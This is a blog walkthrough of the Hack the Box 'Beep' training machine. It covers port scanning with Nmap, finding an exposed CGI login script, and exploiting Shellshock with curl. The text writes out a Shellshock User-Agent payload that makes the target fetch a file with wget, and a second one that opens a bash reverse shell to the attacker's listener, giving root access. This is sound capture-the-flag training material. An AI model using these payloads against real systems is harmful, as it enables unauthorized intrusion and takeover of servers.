Hack the Box - Beep - Walkthrough

Introduction

Today we're going to be doing a pentest walkthrough of the Beep machine hosted at https://hackthebox.eu . For this pentest, we'll be using a Kali Linux virtual machine as our attacking system and the Beep machine as the victim system. After connecting to the Hack the Box network via VPN, we see that our target is located at 10.129.100.242.

Scanning and Enumeration

We'll start by scanning for open ports with Nmap:

sudo nmap -T4 -p- 10.129.100.242


Now we'll do another Nmap scan, this time specifying the ports and picking up service names and version numbers:

nmap -sV -T4 -p22,25,80,110,111,143,443,942,993,995,3306,4190,4445,4559,5038,10000 10.129.100.242


There's a lot of output here, but let's take a look at the HTTP service on port 10000:

https://10.129.100.242:10000/ 


Interesting-looking web-app. Let's take a look at the source:

view-source:https://10.129.100.242:10000/


The page references a CGI script. Let's check if the script is directly accesible from our web browser:

https://10.129.100.242:10000/session_login.cgi


Finding a Way In

We have direct access to a CGI script on a Linux webserver. That means we have to check for the Shellshock vulnerability. First, let's setup a Python HTTP server and test the target to see if we can the target reach out to our attacking system:

touch test.txt
sudo python -m SimpleHTTPServer 80


And now to see if we can get a reaction from the target by accessing the webserver with cURL:

curl -k -H 'User-Agent: () { :; }; echo; /usr/bin/wget http://10.10.14.84/test.txt' https://10.129.100.242:10000/session_login.cgi



We got a response from the target off of our cURL command, so we've got the green light to try getting a reverse shell from Shellshock. First we start a Netcat listener on our attacking system:

sudo nc -nlvp 443


And now to execute our revese shell via cURL:

curl -k -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.84/443 0>&1' https://10.129.100.242:10000/session_login.cgi

whoami



Capturing the User and Root Flags

Reverse shells opened through the Shellshock vulnerability are usually root shells, but there are exceptions. I this case, we're root, so we can capture both the User and Root flags now. For Hack the Box Linux systems, User flags are usually located in a user's /home directory:

cat /home/fanis/user.txt


And Root flags are located in the /root directory:

cat /root/root.txt

Summary

After initial scans, we found that the target was running an HTTPS service on a non-standard port. Browsing to that website revealed that the web-app running on the site was referencing a CGI script, which prompted us to test for the Shellshock vulnerability, to which the target tested positive. We utilized the Shellshock vulnerability to gain a remote shell with elevated privileges, and were able to gain access to our objective flag files.

Finish









Comments

Popular posts from this blog

TryHackMe - Windows PrivEsc - Walkthrough

TryHackMe - Reversing Elf - Walkthrough

TryHackMe - Web Enumeration - Walkthrough